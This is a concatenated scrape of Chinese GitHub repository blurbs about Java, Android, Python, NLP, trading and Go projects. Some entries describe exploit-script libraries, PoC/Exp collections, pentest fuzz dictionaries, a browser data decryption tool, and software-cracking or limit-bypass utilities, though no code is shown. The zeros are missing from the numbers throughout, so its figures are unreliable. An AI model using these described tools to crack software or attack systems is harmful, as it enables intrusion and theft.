本仓库涵盖大部分Java程序员所需要掌握的核心知识 整合了互联网上的很多优质Java技术文章 力求打造为最完整最实用的Java开发者学习指南 如果对你有帮助 给个star告诉我吧 谢谢 Android MVP 快速开发框架 做国内 示例最全面 注释最详细 使用最简单 代码最严谨 的 Android 开源 UI 框架几行代码快速集成二维码扫描功能MeterSphere 是一站式开源持续测试平台 涵盖测试跟踪 接口测试 性能测试 团队协作等功能 全面兼容 JMeter Postman Swagger 等开源 主流标准 记录各种学习笔记 算法 Java 数据库 并发 下一代Android打包工具 1 个渠道包只需要1 秒钟芋道 mall 商城 基于微服务的思想 构建在 B2C 电商场景下的项目实战 核心技术栈 是 Spring Boot Dubbo 未来 会重构成 Spring Cloud Alibaba Android 万能的等 支持多种Item类型的情况 lanproxy是一个将局域网个人电脑 服务器代理到公网的内网穿透工具 支持tcp流量转发 可支持任何tcp上层协议 访问内网网站 本地支付接口调试 ssh访问 远程桌面 目前市面上提供类似服务的有花生壳 TeamView GoToMyCloud等等 但要使用第三方的公网服务器就必须为第三方付费 并且这些服务都有各种各样的限制 此外 由于数据包会流经第三方 因此对数据安全也是一大隐患 技术交流QQ群 1 6742433 更优雅的驾车体验下载可以很简单 ️ 云阅 一款基于网易云音乐UI 使用玩架构开发的符合Google Material Design的Android客户端开源的 Material Design 豆瓣客户端一款针对系统PopupWindow优化的Popup库 功能强大 支持背景模糊 使用简单 你会爱上他的 PLDroidPlayer 是七牛推出的一款免费的适用于 Android 平台的播放器 SDK 采用全自研的跨平台播放内核 拥有丰富的功能和优异的性能 可高度定制化和二次开发 该项目已停止维护 9 Porn Android 客户端 突破游客每天观看1 次视频的限制 还可以下载视频 ️蓝绿 灰度 路由 限流 熔断 降级 隔离 追踪 流量染色 故障转移一本关于排序算法的 GitBook 在线书籍 十大经典排序算法 多语言实现 多种下拉刷新效果 上拉加载更多 可配置自定义头部广告位完全仿微信的图片选择 并且提供了多种图片加载接口 选择图片后可以旋转 可以裁剪成矩形或圆形 可以配置各种其他的参数SoloPi 自动化测试工具龙果支付系统 roncoo pay 是国内首款开源的互联网支付系统 拥有独立的账户体系 用户体系 支付接入体系 支付交易体系 对账清结算体系 目标是打造一款集成主流支付方式且轻量易用的支付收款系统 满足互联网业务系统打通支付通道实现支付收款和业务资金管理等功能 键盘面板冲突 布局闪动处理方案 咕泡学院实战项目 基于SpringBoot Dubbo构建的电商平台 微服务架构 商城 电商 微服务 高并发 kafka Elasticsearch停车场系统源码 停车场小程序 智能停车 Parking system 功能介绍 ①兼容市面上主流的多家相机 理论上兼容所有硬件 可灵活扩展 ②相机识别后数据自动上传到云端并记录 校验相机唯一id和硬件序列号 防止非法数据录入 ③用户手机查询停车记录详情可自主缴费 支持微信 支付宝 银行接口支付 支持每个停车场指定不同的商户进行收款 支付后出场在免费时间内会自动抬杆 ④支持app上查询附近停车场 导航 可用车位数 停车场费用 优惠券 评分 评论等 可预约车位 ⑤断电断网支持岗亭人员使用app可接管硬件进行停车记录的录入 技术架构 后端开发语言java 框架oauth2 spring 成长路线 但学到不仅仅是Java 业界首个支持渐进式组件化改造的Android组件化开源框架 支持跨进程调用SpringBoot2 从入门到实战 旨在打造在线最佳的 Java 学习笔记 含博客讲解和源码实例 包括 Java SE 和 Java WebJava诊断工具年薪百万互联网架构师课程文档及源码 公开部分 AndroidHttpCapture网络诊断工具 是一款Android手机抓包软件 主要功能包括 手机端抓包 PING DNS TraceRoute诊断 抓包HAR数据上传分享 你也可以看成是Android版的 Fiddler o 这可能是史上功能最全的Java权限认证框架 目前已集成 登录认证 权限认证 分布式Session会话 微服务网关鉴权 单点登录 OAuth2 踢人下线 Redis集成 前后台分离 记住我模式 模拟他人账号 临时身份切换 账号封禁 多账号认证体系 注解式鉴权 路由拦截式鉴权 花式token生成 自动续签 同端互斥登录 会话治理 密码加密 jwt集成 Spring集成 WebFlux集成 Android平台下的富文本解析器 支持Html和Markdown智能图片裁剪框架 自动识别边框 手动调节选区 使用透视变换裁剪并矫正选区 适用于身份证 名片 文档等照片的裁剪 俗名 可垂直跑 可水平跑的跑马灯 学名 可垂直翻 可水平翻的翻页公告 小马哥技术周报 Android Video Player 安卓视频播放器 封装模仿抖音并实现预加载 列表播放 悬浮播放 广告播放 弹幕 重学Java设计模式 是一本互联网真实案例实践书籍 以落地解决方案为核心 从实际业务中抽离出 交易 营销 秒杀 中间件 源码等22个真实场景 来学习设计模式的运用 欢迎关注小傅哥 微信 fustack 公众号 bugstack虫洞栈 博客 bugstack cnmybatis源码中文注释一款开源的GIF在线分享App 乐趣就要和世界分享 MPush开源实时消息推送系统在线云盘 网盘 OneDrive 云存储 私有云 对象存储 h5ai基于Spring Boot 2 x的一站式前后端分离快速开发平台XBoot 微信小程序 Uniapp 前端 Vue iView Admin 后端分布式限流 同步锁 验证码 SnowFlake雪花算法ID 动态权限 数据权限 工作流 代码生成 定时任务 社交账号 短信登录 单点登录 OAuth2开放平台 客服机器人 数据大屏 暗黑模式Guns基于SpringBoot 2 致力于做更简洁的后台管理系统 完美整合项目代码简洁 注释丰富 上手容易 同时Guns包含许多基础模块 用户管理 角色管理 部门管理 字典管理等1 个模块 可以直接作为一个后台管理系统的脚手架 Android 版本更新一个简洁而优雅的Android原生UI框架 解放你的双手 一套完整有效的android组件化方案 支持组件的组件完全隔离 单独调试 集成调试 组件交互 UI跳转 动态加载卸载等功能适用于Java和Android的快速 低内存占用的汉字转拼音库 Codes of my MOOC Course <我在慕课网上的课程 算法与数据结构 示例代码 包括C 和Java版本 课程的更多更新内容及辅助练习也将逐步添加进这个代码仓 Hope Boot 一款现代化的脚手架项目一个简单漂亮的SSM Spring SpringMVC Mybatis 博客系统根据Gson库使用的要求 将JSONObject格式的String 解析成实体B站 哔哩哔哩 Bilibili 自动签到投币工具 每天轻松获取65经验值 支持每日自动投币 银瓜子兑换硬币 领取大会员福利 大会员月底给自己充电等功能 呐 赶快和我一起成为Lv6吧 IJPay 让支付触手可及 封装了微信支付 QQ支付 支付宝支付 京东支付 银联支付 PayPal 支付等常用的支付方式以及各种常用的接口 不依赖任何第三方 mvc 框架 仅仅作为工具使用简单快速完成支付模块的开发 可轻松嵌入到任何系统里 右上角点下小星星 High quality pure Weex demo 网易严选 App 感受 Weex 开发Android 快速实现新手引导层的库 通过简洁链式调用 一行代码实现引导层的显示通过标签直接生成shape 无需再写shape xml 本库是一款基于RxJava2 Retrofit2实现简单易用的网络请求框架 结合android平台特性的网络封装库 采用api链式调用一点到底 集成cookie管理 多种缓存模式 极简https配置 上传下载进度显示 请求错误自动重试 请求携带token 时间戳 签名sign动态配置 自动登录成功后请求重发功能 3种层次的参数设置默认全局局部 默认标准ApiResult同时可以支持自定义的数据结构 已经能满足现在的大部分网络请求 Android BLE蓝牙通信库 基于Flink实现的商品实时推荐系统 flink统计商品热度 放入redis缓存 分析日志信息 将画像标签和实时记录放入Hbase 在用户发起推荐请求后 根据用户画像重排序热度榜 并结合协同过滤和标签两个推荐模块为新生成的榜单的每一个产品添加关联产品 最后返回新的用户列表 播放器基础库 专注于播放视图组件的高复用性和组件间的低耦合 轻松处理复杂业务 图片选择库 单选 多选 拍照 裁剪 压缩 自定义 包括视频选择和录制 DataX集成可视化页面 选择数据源即可一键生成数据同步任务 支持等数据源 批量创建RDBMS数据同步任务 集成开源调度系统 支持分布式 增量同步数据 实时查看运行日志 监控执行器资源 KILL运行进程 数据源信息加密等 Deprecated android 自定义日历控件 支持左右无限滑动 周月切换 标记日期显示 自定义显示效果跳转到指定日期一个通过动态加载本地皮肤包进行换肤的皮肤框架这是RedSpider社区成员原创与维护的Java多线程系列文章 一站式Apache Kafka集群指标监控与运维管控平台快速开发工具类收集 史上最全的开发工具类 欢迎Follow Fork Star后端技术总结 包括Java基础 JVM 数据库 mysql redis 计算机网络 算法 数据结构 操作系统 设计模式 系统设计 框架原理 最佳阅读地址Android源码设计模式分析项目可能是最好的支付SDK 停止维护 组件化综合案例 包含微信新闻 头条视频 美女图片 百度音乐 干活集中营 玩Android 豆瓣读书电影 知乎日报等等模块 架构模式 组件化阿里VLayout 腾讯X5 腾讯bugly 融合开发中需要的各种小案例 开源OA系统 码云GVP Java开源oa 企业OA办公平台 企业OA 协同办公OA 流程平台OA O2OA OA 支持国产麒麟操作系统和国产数据库 达梦 人大金仓 政务OA 军工信息化OA以Spring Cloud Netflix作为服务治理基础 展示基于tcc思想所实现的分布式事务解决方案一个帮助您完成从缩略视图到原视图无缝过渡转变的神奇框架 系统重构与迁移指南 手把手教你分析 评估现有系统 制定重构策略 探索可行重构方案 搭建测试防护网 进行系统架构重构 服务架构重构 模块重构 代码重构 数据库重构 重构后的架构守护版本检测升级 更新 库小说精品屋是一个多平台 web 安卓app 微信小程序 功能完善的屏幕自适应小说漫画连载系统 包含精品小说专区 轻小说专区和漫画专区 包括小说 漫画分类 小说 漫画搜索 小说 漫画排行 完本小说 漫画 小说 漫画评分 小说 漫画在线阅读 小说 漫画书架 小说 漫画阅读记录 小说下载 小说弹幕 小说 漫画自动采集 更新 纠错 小说内容自动分享到微博 邮件自动推广 链接自动推送到百度搜索引擎等功能 Android 徽章控件 致力于打造一款极致体验的 www wanandroid com 客户端 知识和美是可以并存的哦QAQn ≧ ≦ n 从源码层面 剖析挖掘互联网行业主流技术的底层实现原理 为广大开发者 “提升技术深度” 提供便利 目前开放 Spring 全家桶 Mybatis Netty Dubbo 框架 及 Redis Tomcat 中间件等Redis 一站式管理平台 支持集群的监控 安装 管理 告警以及基本的数据操作该项目不再维护 仅供学习参考专注批量推送的小而美的工具 目前支持 模板消息 公众号 模板消息 小程序 微信客服消息 微信企业号 企业微信消息 阿里云短信 阿里大于模板短信 腾讯云短信 云片网短信 E Mail HTTP请求 钉钉 华为云短信 百度云短信 又拍云短信 七牛云短信Android 平台开源天气 App 采用等开源库来实现 SpringBoot 相关漏洞学习资料 利用方法和技巧合集 黑盒安全评估 check listAndroid 权限请求框架 已适配 Android 11微信SDK JAVA 公众平台 开放平台 商户平台 服务商平台 QMQ是去哪儿网内部广泛使用的消息中间件 自2 12年诞生以来在去哪儿网所有业务场景中广泛的应用 包括跟交易息息相关的订单场景 也包括报价搜索等高吞吐量场景 Java 23种设计模式全归纳linux运维监控工具 支持系统信息 内存 cpu 温度 磁盘空间及IO 硬盘smart 系统负载 网络流量 进程等监控 API接口 大屏展示 拓扑图 端口监控 docker监控 日志文件监控 数据可视化 webSSH工具 堡垒机 跳板机 这可能是全网最好用的ViewPager轮播图 简单 高效 一行代码实现循环轮播 一屏三页任意变 指示器样式任你挑 一种简单有效的android组件化方案 支持组件的代码资源隔离 单独调试 集成调试 组件交互 UI跳转 生命周期等完整功能 一个强大 1 % 兼容 支持 AndroidX 支持 Kotlin并且灵活的组件化框架JPress 一个使用 Java 开发的建站神器 目前已经有 1 w 网站使用 JPress 进行驱动 其中包括多个政府机构 2 上市公司 中科院 红 字会等 分布式事务易用的轻量化网络爬虫 Android系统源码分析重构中一款免费的数据可视化工具 报表与大屏设计 类似于excel操作风格 在线拖拽完成报表设计 功能涵盖 报表设计 图形报表 打印设计 大屏设计等 永久免费 秉承“简单 易用 专业”的产品理念 极大的降低报表开发难度 缩短开发周期 节省成本 解决各类报表难题 Android Activity 滑动返回 支持微信滑动返回样式 横屏滑动返回 全屏滑动返回SpringBoot 基础教程 从入门到上瘾 基于2 M5制作 仿微信视频拍摄UI 基于ffmpeg的视频录制编辑Python 1 天从新手到大师 分享 GitHub 上有趣 入门级的开源项目中英文敏感词 语言检测 中外手机 电话归属地 运营商查询 名字推断性别 手机号抽取 身份证抽取 邮箱抽取 中日文人名库 中文缩写库 拆字词典 词汇情感值 停用词 反动词表 暴恐词表 繁简体转换 英文模拟中文发音 汪峰歌词生成器 职业名称词库 同义词库 反义词库 否定词库 汽车品牌词库 汽车零件词库 连续英文切割 各种中文词向量 公司名字大全 古诗词库 IT词库 财经词库 成语词库 地名词库 历史名人词库 诗词词库 医学词库 饮食词库 法律词库 汽车词库 动物词库 中文聊天语料 中文谣言数据 百度中文问答数据集 句子相似度匹配算法集合 bert资源 文本生成 摘要相关工具 cocoNLP信息抽取 2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票结巴中文分词 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理微信个人号接口 微信机器人及命令行微信 三十行即可自定义个人号机器人 数据结构和算法必知必会的5 个代码实现JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 飞桨 核心框架 深度学习 机器学习高性能单机 分布式训练和跨平台部署 中国程序员容易发音错误的单词微信 跳一跳 Python 辅助 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等Python爬虫代理IP池 proxy pool wtfpython的中文翻译 施工结束 能力有限 欢迎帮我改进翻译提供多款 Shadowrocket 规则 带广告过滤功能 用于 iOS 未越狱设备选择性地自动翻墙 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 walle 瓦力 Devops开源项目代码部署平台一些非常有趣的python爬虫例子 对新手比较友好 主要爬取淘宝 天猫 微信 豆瓣 QQ等网站机器学习相关教程1 Chinese Word Vectors 上百种预训练中文词向量 网易云音乐命令行版本一款入门级的人脸 视频 文字检测以及识别的项目 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵微信助手 1 每日定时给好友 女友 发送定制消息 2 机器人自动回复好友 3 群助手功能 例如 查询垃圾分类 天气 日历 电影实时票房 快递物流 PM2 5等 二维码生成器 支持 gif 动态图片二维码 阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构 book 中华新华字典数据库 包括歇后语 成语 词语 汉字 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? 迁移学习python爬虫教程系列 从 到1学习python爬虫 包括浏览器抓包 手机APP抓包 如 fiddler mitmproxy 各种爬虫涉及的模块的使用 如等 以及IP代理 验证码识别 Mysql MongoDB数据库的python使用 多线程多进程爬虫的使用 css 爬虫加密逆向破解 JS爬虫逆向 分布式爬虫 爬虫项目实战实例等Python脚本 模拟登录知乎 爬虫 操作excel 微信公众号 远程开机越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 人人影视bot 完全对接人人影视全部无删减资源莫烦Python 中文AI教学飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 轻量级人脸检测模型 百度云 百度网盘Python客户端 Python进阶 Intermediate Python 中文版 提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案INFO SPIDER 是一个集众多数据源于一身的爬虫工具箱 旨在安全快捷的帮助用户拿回自己的数据 工具代码开源 流程透明 支持数据源包括GitHub QQ邮箱 网易邮箱 阿里邮箱 新浪邮箱 Hotmail邮箱 Outlook邮箱 京东 淘宝 支付宝 中国移动 中国联通 中国电信 知乎 哔哩哔哩 网易云音乐 QQ好友 QQ群 生成朋友圈相册 浏览器浏览历史 123 6 博客园 CSDN博客 开源中国博客 简书 中文BERT wwm系列模型 Python入门网络爬虫之精华版中文 iOS Mac 开发博客列表Python网页微信APIpkuseg多领域中文分词工具自己动手做聊天机器人教程基于搜狗微信搜索的微信公众号爬虫接口用深度学习对对联 v2ray xray多用户管理部署程序各种脚本 关于 虾米 xiami com 百度网盘 pan baidu com 115网盘 115 com 网易音乐 music 163 com 百度音乐 music baidu com 36 网盘 云盘 yunpan cn 视频解析 flvxz com bt torrent ↔ magnet ed2k 搜索 tumblr 图片下载 unzip查看被删的微信好友定投改变命运 让时间陪你慢慢变富 onregularinvesting com 机器学习实战 Python3 kNN 决策树 贝叶斯 逻辑回归 SVM 线性回归 树回归Statistical learning methods 统计学习方法 第2版 李航 笔记 代码 notebook 参考文献 Errata lihang stock 股票系统 使用python进行开发 基于深度学习的中文语音识别系统京东抢购助手 包含登录 查询商品库存 价格 添加 清空购物车 抢购商品 下单 查询订单等功能莫烦Python 中文AI教学机器学习算法python实现新浪微博爬虫 用python爬取新浪微博数据的算法以及通用生成对抗网络图像生成的理论与实践研究 青岛大学开源 Online Judge QQ群 49671 125 admin qduoj comWeRoBot 是一个微信公众号开发框架 基于Django的博客系统 中文近义词 聊天机器人 智能问答工具包开源财经数据接口库巡风是一款适用于企业内网的漏洞快速应急 巡航扫描系统 番号大全 解决电脑 手机看电视直播的苦恼 收集各种直播源 电视直播网站知识图谱构建 自动问答 基于kg的自动问答 以疾病为中心的一定规模医药领域知识图谱 并以该知识图谱完成自动问答与分析服务 出处本地电影刮削与整理一体化解决方案自动化运维平台 CMDB CD DevOps 资产管理 任务编排 持续交付 系统监控 运维管理 配置管理 wukong robot 是一个简单 灵活 优雅的中文语音对话机器人 智能音箱项目 还可能是首个支持脑机交互的开源智能音箱项目 获取斗鱼 虎牙 哔哩哔哩 抖音 快手等 55 个直播平台的真实流媒体地址 直播源 和弹幕 直播源可在 PotPlayer flv js 等播放器中播放 宝塔Linux面板 简单好用的服务器运维面板农业知识图谱 AgriKG 农业领域的信息检索 命名实体识别 关系抽取 智能问答 辅助决策CODO是一款为用户提供企业多混合云 一站式DevOps 自动化运维 完全开源的云管理平台 自动化运维平台Web Pentesting Fuzz 字典 一个就够了 计算机网络 自顶向下方法 原书第6版 编程作业 Wireshark实验文档的翻译和解答 中文古诗自动作诗机器人 屌炸天 基于tensorflow1 1 api 正在积极维护升级中 快star 保持更新 PyQt Examples PyQt各种测试和例子 PyQt4 PyQt5海量中文预训练ALBERT模型汉字转拼音 pypinyin 数据结构与算法 leetcode lintcode题解 Pytorch模型训练实用教程 中配套代码实时获取新浪 腾讯 的免费股票行情 集思路的分级基金行情Python爬虫 Flask网站 免费ShadowSocks账号 ssr订阅 json 订阅实战 多种网站 电商数据爬虫 包含 淘宝商品 微信公众号 大众点评 企查查 招聘网站 闲鱼 阿里任务 博客园 微博 百度贴吧 豆瓣电影 包图网 全景网 豆瓣音乐 某省药监局 搜狐新闻 机器学习文本采集 fofa资产采集 汽车之家 国家统计局 百度关键词收录数 蜘蛛泛目录 今日头条 豆瓣影评 携程 小米应用商店 安居客 途家民宿 ️ ️ ️ 微信爬虫展示项目 SQL 审核查询平台团子翻译器 个人兴趣制作的一款基于OCR技术的翻译器自动化运维平台 代码及应用部署CI CD 资产管理CMDB 计划任务管理平台 SQL审核 回滚 任务调度 站内WIKISource Code Security Audit 源代码安全审计 Exphub 漏洞利用脚本库 包括的漏洞利用脚本 最新添加我的自学笔记 终身更新 当前专注System基础 MLSys 使用机器学习算法完成对123 6验证码的自动识别Python 开源项目之 自学编程之路 保姆级教程 AI实验室 宝藏视频 数据结构 学习指南 机器学习实战 深度学习实战 网络爬虫 大厂面经 程序人生 资源分享 中文文本分类基于pytorch 开箱即用 根据网易云音乐的歌单 下载flac无损音乐到本地腾讯优图高精度双分支人脸检测器文本纠错等模型实现 开箱即用 3 天掌握量化交易 持续更新 中文分词 词性标注 命名实体识别 依存句法分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁 自然语言处理中文公开聊天语料库豆瓣读书的爬虫总结梳理自然语言处理工程师 NLP 需要积累的各方面知识 包括面试题 各种基础知识 工程能力等等 提升核心竞争力中文自然语言处理数据集 平时做做实验的材料 欢迎补充提交合并 一个可以自己进行训练的中文聊天机器人 根据自己的语料训练出自己想要的聊天机器人 可以用于智能客服 在线问答 智能聊天等场景 目前包含seq2seq seqGAN版本 tf2 版本 pytorch版本 股票量化框架 支持行情获取以及交易微博爬虫 持续维护 Bilibili 用户爬虫 deepin源移植 Debian Ubuntu上最快的QQ 微信安装方式 新闻网页正文通用抽取器 Beta 版 flag on post 自动更新域名解析到本机IP 支持dnspod 阿里DNS CloudFlare 华为云 DNSCOM 本项目针对字符型图片验证码 使用tensorflow实现卷积神经网络 进行验证码识别 owllook 小说搜索引擎中文语言理解测评基准python中文库 python人工智能大数据自动化接口测试开发 书籍下载及python库汇总china testing github io 2 19新型冠状病毒疫情时间序列数据仓库Python 黑魔法手册单阶段通用目标检测器一个拍照做题程序 输入一张包含数学计算题的图片 输出识别出的数学计算式以及计算结果 video download B站视频下载中文命名实体识别 TensorFlow Python 中文数据结构和算法教程 验证码识别 训练Python爬虫实战 模拟登陆各大网站 包含但不限于 滑块验证 拼多多 美团 百度 bilibili 大众点评 淘宝 如果喜欢请start ️学无止下载器 慕课下载器 Mooc下载 慕课网下载 中国大学下载 爱课程下载 网易云课堂下载 学堂在线下载 超星学习通下载 支持视频 课件同时下载一个高级web目录 文件扫描工具 功能将会强于DirBuster Dirsearch cansina 御剑 搜索所有中文NLP数据集 附常用英文NLP数据集中文实体识别与关系提取2 19新型冠状病毒疫情实时爬虫及github release archive以及项目文件的加速项目安卓应用安全学习抓取大量免费代理 ip 提取有效 ip 使用RoBERTa中文预训练模型 RoBERTa for Chinese 用于训练中英文对话系统的语料库敏感词过滤的几种实现 某1w词敏感词库简单易用的Python爬虫框架 QQ交流群 59751 56 使用Bert ERNIE 进行中文文本分类为 CSAPP 视频课程提供字幕 翻译 PPT Lab PyTorch 官方中文教程包含 6 分钟快速入门教程 强化教程 计算机视觉 自然语言处理 生成对抗网络 强化学习 欢迎 Star Fork 兜哥出品 <一本开源的NLP入门书籍 图像翻译 条件GAN AI绘画用Resnet1 1 GPT搭建一个玩王者荣耀的AI各种漏洞poc Exp的收集或编写斗地主AIVulmap 是一款 web 漏洞扫描和验证工具 可对 webapps 进行漏洞扫描 并且具备漏洞验证功能提供超過 5 個金融資料 台股為主 每天更新 finmind github io 数据接口 百度 谷歌 头条 微博指数 宏观数据 利率数据 货币汇率 千里马 独角兽公司 新闻联播文字稿 影视票房数据 高校名单 疫情数据 PyOne 一款给力的onedrive文件管理 分享程序 使用开发的用于迅速搭建并使用 WebHook 进行自动化部署和运维 支持 Github GitLab Gogs GitOsc 跟我一起写Makefile重制版 python自动化运维 技术与最佳实践 书中示例及案例源码自然语言处理实验 sougou数据集 TF IDF 文本分类 聚类 词向量 情感识别 关系抽取等微信公众平台 Python 开发包 DEPRECATED Weblogic一键漏洞检测工具 V1 5 更新时间 2 2 73 完备优雅的微信公众号接口 原生支持同步 协程使用 本程序旨在为安全应急响应人员对Linux主机排查时提供便利 实现主机侧Checklist的自动全面化检测 根据检测结果自动数据聚合 进行黑客攻击路径溯源 PyCharm 中文指南 安装 破解 效率 技巧类似按键精灵的鼠标键盘录制和自动化操作 模拟点击和键入GPT2 for Chinese chitchat 用于中文闲聊的GPT2模型 实现了DialoGPT的MMI思想 中华人民共和国国家标准 GB T 226 行政区划代码基于python的量化交易平台中文语音识别基于 OneBot 标准的 Python 异步 QQ 机器人框架Real World Masked Face Dataset 口罩人脸数据集 Vulfocus 是一个漏洞集成平台 将漏洞环境 docker 镜像 放入即可使用 开箱即用 谷歌 百度 必应图片下载 基于方面的情感分析 使用PyTorch实现 深度学习与计算机视觉 配套代码ART环境下自动化脱壳方案利用网络上公开的数据构建一个小型的证券知识图谱 知识库中文资源精选 官方网站 安装教程 入门教程 视频教程 实战项目 学习路径 QQ群 167122861 公众号 磐创AI 微信群二维码 www tensorflownews com Pre Trained Chinese XLNet 中文XLNet预训练模型 新浪微博Python SDK有关burpsuite的插件 非商店 文章以及使用技巧的收集 此项目不再提供burpsuite破解文件 如需要请在博客mrxn net下载Python3编写的CMS漏洞检测框架基于django的工作流引擎 工单 ️ 哔哩云 不支持任意文件的全速上传与下载微信SDK 包括微信支付 微信公众号 微信登陆 微信消息处理等中文自然语言理解堡垒机 云桌面自动化运维 审计 录像 文件管理 sftp上传 实时监控 录像回放 网页版rz sz上传下载 动态口令 django转换中国知网 CAJ 格式文献为 PDF 佛系转换 成功与否 皆是玄学 HanLP作者的新书 自然语言处理入门 详细笔记 业界良心之作 书中不是枯燥无味的公式罗列 而是用白话阐述的通俗易懂的算法模型 从基本概念出发 逐步介绍中文分词 词性标注 命名实体识别 信息抽取 文本聚类 文本分类 句法分析这几个热门问题的算法原理与工程实现 Python3 网络爬虫实战 部分含详细教程 猫眼 腾讯视频 豆瓣 研招网 微博 笔趣阁小说 百度热点 B站 CSDN 网易云阅读 阿里文学 百度股票 今日头条 微信公众号 网易云音乐 拉勾 有道 unsplash 实习僧 汽车之家 英雄联盟盒子 大众点评 链家 LPL赛程 台风 梦幻西游 阴阳师藏宝阁 天气 牛客网 百度文库 睡前故事 知乎 Wish微信公众号文章的爬虫 Python Web开发实战 书中源码一直可用的GoAgent 会定时扫描可用的google gae ip 提供可自动化获取ip运行的版本层剪枝 通道剪枝 知识蒸馏 中文命名实体识别 包括多种模型 HMM CRF BiLSTM BiLSTM CRF的具体实现 The Way to Go 中文译本 中文正式名 Go 入门指南 谢谢 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端 Go语言高级编程 开源图书 涵盖CGO Go汇编语言 RPC实现 Protobuf插件实现 Web框架实现 分布式系统等高阶主题 完稿 是一个跨平台的强加密无特征的代理软件 零配置 算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 百度网盘不限速客户端 golang qt5 跨平台图形界面是golang实现的高性能http https websocket tcp socks5代理服务器 支持内网穿透 链式代理 通讯加密 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 支持多家云存储的云盘系统 这里是写博客的地方 Halfrost Field 冰霜之地Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 分布式爬虫管理平台 支持任何语言和框架Golang标准库 对于程序员而言 标准库与语言本身同样重要 它好比一个百宝箱 能为各种常见的任务提供完美的解决方案 以示例驱动的方式讲解Golang的标准库 天用Go动手写 从零实现系列是一个高性能且低损耗的 goroutine 池 有 有 设计模式 Golang实现 研磨设计模式 读书笔记Golang实现的基于beego框架的接口在线文档管理系统高性能开源RTSP流媒体服务器 基于go语言研发 维护和优化 RTSP推模式转发 RTSP拉模式转发 是一个高性能 轻量级 非阻塞的事件驱动 Go 网络框架 基于Gin Vue Element UI的前后端分离权限管理系统脚手架 包含了 多租户的支持 基础用户管理功能 jwt鉴权 代码生成器 RBAC资源控制 表单构建 定时任务等 3分钟构建自己的中后台项目 文档蓝鲸智云配置平台 BlueKing CMDB 今日热榜 一个获取各大热门网站热门头条的聚合网站 使用Go语言编写 多协程异步快速抓取信息 预览 mo fish一条命令离线安装高可用kubernetes 3min装完 7 M 1 年证书 生产环境稳如老狗阿里巴巴开源的一款简单易用 功能强大的混沌实验注入工具 Go语言四十二章经 详细讲述Go语言规范与语法细节及开发中常见的误区 通过研读标准库等经典代码设计模式 启发读者深刻理解Go语言的核心思维 进入Go语言开发的更高阶段 ️一个轻巧的网络混淆代理 基于Golang轻量级TCP并发服务器框架定时任务管理系统KubeOperator 是一个开源的轻量级 Kubernetes 发行版 专注于帮助企业规划 部署和运营生产级别的 K8s 集群 本系统是集工单统计 任务钩子 权限管理 灵活配置流程与模版等等于一身的开源工单系统 当然也可以称之为工作流引擎 致力于减少跨部门之间的沟通 自动任务的执行 提升工作效率与工作质量 减少不必要的工作量与人为出错率 Go实现的Trojan代理 支持多路复用 路由功能 CDN中转 Shadowsocks混淆插件 多平台 无依赖 Go语法树入门 开启自制编程语言和编译器之旅 开源免费图书 Go语言进阶 掌握抽象语法树 Go语言AST 凹语言 一款可全平台运行的浏览器数据导出解密工具 Golang相关 审稿进度8 % Go语法 Go并发思想 Go与web开发 Go微服务设施等Jupiter是斗鱼开源的面向服务治理的Golang微服务框架Elasticsearch 可视化DashBoard 支持Es监控 实时搜索 Index template快捷替换修改 索引列表信息查看 SQL converts to DSL等 从问题切入 串连 Go 语言相关的所有知识 融会贯通 golang design go questionsWeChat SDK for Go 微信SDK 简单 易用 go fastdfs 是一个简单的分布式文件系统 私有云存储 具有无中心 高性能 高可靠 免维护等优点 支持断点续传 分块上传 小文件合并 自动同步 自动修复 Mastering GO 中文译本 玩转 GO 云原生且易用的应用管理平台 Go Web 基础 是一套针对 Google 出品的 Go 语言的视频语音教程 主要面向完成 Go 编程基础 教程后希望进一步了解有关 Go Web 开发的学习者 中文名 悟空 API 网关 是一个基于 Golang开发的微服务网关 能够实现高性能 HTTP API 转发 服务编排 多租户管理 API 访问权限控制等目的 拥有强大的自定义插件系统可以自行扩展 并且提供友好的图形化配置界面 能够快速帮助企业进行 API 服务治理 提高 API 服务的稳定性和安全性 集合多家 API 的新一代图床MIT课程 Distributed Systems 学习和翻译Go语言圣经中文版 只接收PR 